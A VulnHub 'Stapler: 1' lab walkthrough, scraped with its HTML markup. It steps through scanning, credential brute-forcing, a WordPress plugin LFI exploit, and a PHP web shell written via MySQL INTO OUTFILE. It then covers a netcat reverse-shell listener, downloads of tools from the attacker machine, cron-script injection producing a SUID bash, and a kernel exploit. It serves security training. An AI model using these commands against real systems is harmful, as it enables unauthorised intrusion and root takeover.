$\"VulnHub:$ <\/div>\n

Apr 9\u00b7<\/span>10 min read<\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n

<\/div>\n<\/div>\n<\/div>\n<\/div>\n

Link: https:\/\/www.vulnhub.com\/entry\/stapler-1,150\/<\/a><\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n

Initial foothold<\/strong><\/p>\n

Network discovery<\/li>\n<\/ol>\n
nmap -sn 10.0.2.32\/24<\/span><\/pre>\n
My target is 10.0.2.31.<\/p>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
2. Port scan<\/p>\n
nmap -Pn 10.0.2.31<\/span>nmap -Pn -p1000- 10.0.2.31<\/span><\/pre>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
3. OS and service scan<\/p>\n
nmap -A -p20,21,22,53,80,139,666,3306,12380 10.0.2.31<\/span><\/pre>\n
There\u2019re services as listed:<\/p>\n
\n
port 21 vsftpd w\/ anonymous login<\/li>\n
port 22 OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)<\/li>\n
port 53 dnsmasq 2.75<\/li>\n
port 80 PHP cli server 5.5 or later<\/li>\n
port 139 netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)<\/li>\n
port 666 doom<\/li>\n
port 3306 MySQL 5.7.12\u20130ubuntu1<\/li>\n
port 12380 Apache httpd 2.4.18 ((Ubuntu))<\/li>\n<\/ul>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
4. Vuln scan<\/p>\n
nmap --script vuln -p20,21,22,53,80,139,666,3306,12380 10.0.2.31<\/span><\/pre>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n<\/div>\n<\/div>\n<\/section>\n
<\/div>\n
\n
\n
\n
Initial enumeration\/searching existing exploits of each service<\/strong><\/p>\n
\n
port 21 vsftpd 3.0.3 w\/ anonymous login<\/li>\n<\/ul>\n
There aren\u2019t any public exploits that I can use.<\/p>\n
Login w\/ anonymous<\/p>\n
ftp 10.0.2.31<\/span>username: anonymous<\/span><\/pre>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
List files<\/p>\n
ls -la<\/span><\/pre>\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/figure>\n
Download it<\/p>\n
get note<\/span><\/pre>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
Read it<\/p>\n
cat note<\/span><\/pre>\n
Elly has FTP account.<\/p>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
\n
port 22 OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)<\/li>\n<\/ul>\n
ssh 10.0.2.31<\/span><\/pre>\n
There\u2019s a banner.<\/p>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
\n
port 53 dnsmasq 2.75<\/li>\n<\/ul>\n
Reverse lookup<\/p>\n
dig -x 10.0.2.31 @10<\/a>.0.2.31<\/span><\/pre>\n
Nothing<\/p>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
\n
port 80 PHP cli server 5.5 or later<\/li>\n<\/ul>\n
Nikto<\/p>\n
nikto -h http:\/\/10.0.2.31<\/span><\/pre>\n
There\u2019re \u2018.bashrc\u2019 and \u2018.profile\u2019.<\/p>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/figure>\n
Download \u2018.bashrc\u2019 and \u2018.profile\u2019. and read them<\/p>\n
wget http:\/\/10.0.2.31\/.bashrc<\/a><\/span>wget http:\/\/10.0.2.31\/.profile<\/span><\/pre>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
cat .bashrc<\/span><\/pre>\n
Nothing<\/p>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
cat .profile<\/span><\/pre>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
Further directory enumeration<\/p>\n
gobuster dir --wordlist \/usr\/share\/dirbuster\/wordlists\/directory-list-2.3-medium.txt -u http:\/\/10.0.2.31\/<\/a> -x php,txt,html,sh,cgi -q<\/span><\/pre>\n
Nothing<\/p>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
\n
port 139 netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)<\/li>\n<\/ul>\n
I googled the existing exploit and there\u2019s a sambacry, but I need to have a credential. I\u2019ll leave this for a while.<\/p>\n
\n
\n
\n
opsxcq\/exploit-CVE-2017-7494<\/h2>\n
\n
Samba is a free software re-implementation of the SMB\/CIFS networking protocol. Samba provides file and print services\u2026<\/h3>\n<\/div>\n
\n
github.com<\/p>\n<\/div>\n<\/div>\n
\n
<\/div>\n<\/div>\n<\/div>\n<\/div>\n
Enumeration<\/p>\n
nmap -p 139 --script=smb-enum-shares.nse,smb-enum-users.nse 10.0.2.31<\/span><\/pre>\n
I\u00a0c<\/span>an access \\kathy and \\tmp.<\/p>\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/figure>\n
enum4linux -a 10.0.2.31 > enum4linux.txt<\/span><\/pre>\n
Read the file, I got usernames.<\/p>\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/figure>\n
Save them as users.txt<\/p>\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"\"$ <\/div>\n<\/div>\n<\/div>\n<\/figure>\n
Connect accessible directory, \/kathy<\/p>\n
smbclient \/\/10.0.2.31\/kathy<\/span>dir<\/span><\/pre>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"\"$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
cd kathy_stuff<\/span>dir<\/span>get to_do-list.txt<\/span><\/pre>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"\"$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
cd ..\/backup<\/span>get vsftpd.conf<\/span>get wordpress-4.tar.gz<\/span><\/pre>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"\"$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
Read file<\/p>\n
cat todo-list.txt<\/span><\/pre>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"\"$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
cat vsftpd.conf<\/span><\/pre>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"\"$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
Unzip WordPress and read its configuration file<\/p>\n
tar -xzvf wordpress-4.tar.gz<\/span>cd wordpress<\/span>find . -name '*.php' | grep config<\/span>cat .\/wp-config-sample.php<\/span><\/pre>\n
Nothing<\/p>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
\n
port 666 doom<\/li>\n<\/ul>\n
nc -nv 10.0.2.31 666<\/span><\/pre>\n
There\u2019s a file.<\/p>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
Connect and retrieve the file<\/p>\n
nc -nv 10.0.2.31 666 > message.jpg<\/span>ls -la<\/span><\/pre>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
Read file\u2019s metadata<\/p>\n
exiftool message.jpg<\/span><\/pre>\n
It\u2019s a zip file.<\/p>\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/figure>\n
Unzip it<\/p>\n
unzip message.jpg<\/span><\/pre>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"\"$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
Open it.<\/p>\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"\"$ <\/div>\n<\/div>\n<\/div>\n<\/figure>\n
Connect another accessible directory, \/tmp<\/p>\n
smbclient \/\/10.0.2.31\/tmp<\/span><\/pre>\n
It\u2019s a program called \u2018ls\u2019, not much useful.<\/p>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
\n
port 3306 MySQL 5.7.12\u20130ubuntu1<\/li>\n<\/ul>\n
I cannot access this right now.<\/p>\n
\n
port 12380 Apache httpd 2.4.18 ((Ubuntu))<\/li>\n<\/ul>\n
Nikto<\/p>\n
nikto -h http:\/\/10.0.2.31:12380<\/span><\/pre>\n
It\u2019s an HTTPS site.<\/p>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
Nikto again<\/p>\n
nikto -h https:\/\/10.0.2.31:12380<\/a><\/span><\/pre>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
Directory enumeration<\/p>\n
gobuster dir --wordlist \/usr\/share\/dirbuster\/wordlists\/directory-list-2.3-medium.txt -u https:\/\/10.0.2.31:12380\/<\/a> -x php,txt,html,sh,cgi -q -k<\/span><\/pre>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
Access the site<\/p>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"\"$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
Access \/admin112233\/<\/p>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"\"$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
Access \/blogblog\/<\/p>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"\"$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
Read through every post.<\/p>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"\"$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"\"$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"\"$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"\"$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
Scan WordPress<\/p>\n
wpscan --url https:\/\/10.0.2.31:12380\/blogblog\/ -et -ep -eu --disable-tls-checks<\/span><\/pre>\n
There\u2019s a list of users.<\/p>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"\"$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
save as \u2018users_wp.txt\u2019<\/p>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
Scan for plugin<\/p>\n
wpscan --url https:\/\/10.0.2.31:12380\/blogblog\/<\/a> --disable-tls-checks --plugins-detection aggressive<\/span><\/pre>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
I googled and came across this exploit code of \u2018advanced-video-embed-videos-or-playlists\u2019.<\/p>\n
\n
\n
\n
gtech\/39646<\/h2>\n
\n
WordPress Plugin Advanced Video 1.0 - Local File Inclusion Update - gtech\/39646<\/h3>\n<\/div>\n
\n
github.com<\/p>\n<\/div>\n<\/div>\n
\n
<\/div>\n<\/div>\n<\/div>\n<\/div>\n
Read the script and edit it to match the target.<\/p>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n<\/div>\n<\/div>\n<\/section>\n
<\/div>\n
\n
\n
\n
Exploitation<\/strong><\/p>\n
\n
FTP Port 21 \u2014 brute-forcing<\/li>\n
SSH Port 22 \u2014 brute-forcing<\/li>\n
HTTP(S) Port 12380 \u2014 brute-forcing and public exploit<\/li>\n<\/ol>\n
Start w\/ FTP Port 21 \u2014 brute-forcing<\/em><\/p>\n
I will use users.txt as username and password because some people use the same string to be username and password.<\/p>\n
hydra -L users.txt -P users.txt ftp:\/\/10.0.2.31<\/span><\/pre>\n
I got the credential.<\/p>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
ftp 10.0.2.31<\/span>username: SHayslett<\/span>password: SHayslett<\/span>ls -la<\/span><\/pre>\n
Not much use right now<\/p>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"\"$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
Next is SSH Port 22 \u2014 brute-forcing<\/em><\/p>\n
hydra -L users.txt -P users.txt 10.0.2.31 ssh -t 4 -u -F -V<\/span><\/pre>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"\"$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
Connect<\/p>\n
ssh SHayslett@10.0.2.31<\/span><\/pre>\n
Now, I got the shell.<\/p>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"\"$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
Last one, HTTP(S) Port 12380 \u2014 brute-forcing and public exploit<\/em><\/p>\n
Starting w\/ brute-forcing and leave it for a while.<\/p>\n
wpscan --url https:\/\/10.0.2.31:12380\/blogblog\/<\/a> --disable-tls-checks -P ~\/Desktop\/rockyou.txt<\/span><\/pre>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
Using public exploit<\/p>\n
python 39646.py<\/span><\/pre>\n
Now I got a MySQL credential.<\/p>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
4. MySQL port 3306<\/p>\n
Remote login w\/ root : plbkac<\/p>\n
mysql -h 10.0.2.31 -uroot -pplbkac<\/span><\/pre>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
I\u2019ll create an outfile w\/ the content of PHP shell command.<\/p>\n
Normally, I\u2019ll store the shell file within the WordPress site. So, the path probably is:<\/p>\n
\/var\/www\/https\/blogblog\/wp-content\/uploads\/<\/span><\/pre>\n
I\u2019ll use MySQL command to create PHP shell.<\/p>\n
use mysql<\/span>Select \"<?php echo shell_exec($_GET['cmd']);?>\" into outfile \"\/var\/www\/https\/blogblog\/wp-content\/uploads\/shell.php\";<\/span><\/pre>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
Verify if the file exists.<\/p>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"\"$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
Intercept the request w\/ Burp Suite and send it to the repeater<\/p>\n
Add \u2018?cmd=id\u2019 to test the shell function.<\/p>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"\"$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
Prepare listener on port 443<\/p>\n
rlwrap nc -lvp 443<\/span><\/pre>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
I\u2019ll supply a reverse shell command to the generated shell using this cheatsheet:<\/p>\n
\n
\n
\n
Reverse Shell Cheat Sheet<\/h2>\n
\n
If you're lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards\u2026<\/h3>\n<\/div>\n
\n
pentestmonkey.net<\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n
Encode to URL w\/ Burp Suite\u2019s decoder.<\/p>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
Supply encoded reverse shell command w\/ repeater.<\/p>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
After many tries, I succeeded w\/ this command.<\/p>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
Back to the listener, now I got the shell.<\/p>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n<\/div>\n<\/div>\n<\/section>\n
<\/div>\n
\n
\n
\n
Privilege Escalation<\/strong><\/p>\n
I\u2019ll continue w\/ WordPress shell.<\/p>\n
Get TTY shell<\/p>\n
python -c \u2018import pty;pty.spawn(\u201c\/bin\/bash\u201d);\u2019<\/span><\/pre>\n
\n
Explore directory as listed<\/li>\n<\/ol>\n
\/opt<\/span>\/tmp<\/span>\/var\/log<\/span>\/var\/www\/https\/<\/span>\/var\/mail<\/span><\/pre>\n
I came across this \/var\/mail\/www-data. There\u2019s a PHP-mailer, but I don't know how to exploit it. Let\u2019s skip this for a moment.<\/p>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
2. LinEnum.sh<\/p>\n
Prepare attacker machine to be file server<\/p>\n
python -m SimpleHTTPServer 80<\/span><\/pre>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
Download, store in \/tmp, change permission, and run<\/p>\n
cd \/tmp<\/span>wget http:\/\/10.0.2.32\/LinEnum.sh<\/a><\/span>chmod 777 LinEnum.sh<\/span>.\/LinEnum.sh<\/span><\/pre>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
These are information that I\u2019ve found interesting.<\/p>\n
Kernel version 4.4.0<\/p>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
User that can run sudo, peter<\/p>\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/figure>\n
Cronjob located in \u2018\/etc\/cron.d\u2019<\/p>\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/figure>\n
Running service, \u2018cron -f\u2019 indicating there\u2019s running cronjob.<\/p>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
There\u2019s a password in \u2018.bash_history\u2019<\/p>\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/figure>\n
3. Exploit<\/p>\n
\n
Login as peter and verify sudo<\/em><\/li>\n<\/ul>\n
From LinEnum.sh result<\/p>\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/figure>\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/figure>\n
su peter<\/span>Password: JZQuyIN5<\/span><\/pre>\n
Verify sudo<\/p>\n
sudo -l<\/span><\/pre>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
Change to root<\/p>\n
sudo su<\/span>whoami<\/span><\/pre>\n
Now, I\u2019m root.<\/p>\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"\"$ <\/div>\n<\/div>\n<\/div>\n<\/figure>\n
\n
cronjob<\/em><\/li>\n<\/ul>\n
From LinEnum.sh result<\/p>\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"\"$ <\/div>\n<\/div>\n<\/div>\n<\/figure>\n
I will verify the path of these services<\/p>\n
cat \/etc\/cron.d\/logrotate<\/span><\/pre>\n
There\u2019s \u2018.sh\u2019 script.<\/p>\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"\"$ <\/div>\n<\/div>\n<\/div>\n<\/figure>\n
Verify permission<\/p>\n
ls -la \/usr\/local\/sbin\/cron-logrotate.sh<\/span><\/pre>\n
It\u2019s owned by root and can be edited by anyone.<\/p>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"\"$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
Read its content<\/p>\n
cat \/usr\/local\/sbin\/cron-logrotate.sh<\/span><\/pre>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
Append the command to get a root shell and verify<\/p>\n
echo \"cp \/bin\/bash \/tmp\/rootbash; chmod +xs \/tmp\/rootbash\" >> \/usr\/local\/sbin\/cron-logrotate.sh<\/span>cat \/usr\/local\/sbin\/cron-logrotate.sh<\/span><\/pre>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
Wait for a while and verify \/tmp<\/p>\n
ls -la<\/span><\/pre>\n
Now, I got rootbash<\/p>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
Run it<\/p>\n
\/tmp\/rootbash -p<\/span><\/pre>\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/figure>\n
\n
kernel exploitation<\/em><\/li>\n<\/ul>\n
Verify kernel version<\/p>\n
uname -a<\/span><\/pre>\n
This machine is Linux kernel 4.4.0 32 bit.<\/p>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
Search w\/ searchsploit<\/p>\n
searchsploit linux kernel 4.4<\/span><\/pre>\n
After many tries, I succeeded w\/ this exploit.<\/p>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
Copy and read it<\/p>\n
searchsploit -m 39772<\/span>cat 39772.txt<\/span><\/pre>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
I followed the provided link.<\/p>\n
\n
\n
\n
808 - project-zero - Project Zero - Monorail<\/h2>\n
\n
Edit description<\/h3>\n<\/div>\n
\n
bugs.chromium.org<\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n
I got the exploit file.<\/p>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
Decompressed<\/p>\n
tar -xvf exploit.tar<\/span><\/pre>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n
Download to target machine.<\/p>\n
wget http:\/10.0.2.32\/hello.c<\/span>wget http:\/10.0.2.32\/suidhelper.c<\/span>wget http:\/10.0.2.32\/doubleput.c<\/span>wget http:\/10.0.2.32\/compile.sh<\/span>.\/compile.sh<\/span><\/pre>\n
Now, I\u2019m root.<\/p>\n
\n
\n
\n
\n
\n
$\"VulnHub:$ <\/div>\n
$\"VulnHub:$ <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/figure>\n<\/div>\n<\/div>\n<\/section>\n<\/article>\n
\n
\n
\n
\n
\n
\n
\n
<\/div>\n
<\/div>\n<\/div>\n
\n
\n
\n
\n
<\/div>\n<\/div>\n<\/div>\n<\/div>\n
\n
\n
<\/div>\n<\/div>\n<\/div>\n
<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n
<\/div>\n
\n
\n
\n
\n
<\/div>\n
<\/div>\n
\n
\n
\n
\n
\n
\n
<\/div>\n<\/div>\n<\/div>\n<\/div>\n
<\/div>\n
\n
<\/div>\n<\/div>\n<\/div>\n
\n
\n
\n
\n
<\/div>\n<\/div>\n<\/div>\n<\/div>\n
\n
<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n","protected":false},"excerpt":{"rendered":"
VulnHub: STAPLER: 1 Apr 9\u00b710 min read Link: https:\/\/www […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[608,607,600],"class_list":["post-1081","post","type-post","status-publish","format-standard","hentry","category-net-security","tag-vuln","tag-vulnerable","tag-vulnhub"],"_links":{"self":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/1081","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1081"}],"version-history":[{"count":0,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/1081\/revisions"}],"wp:attachment":[{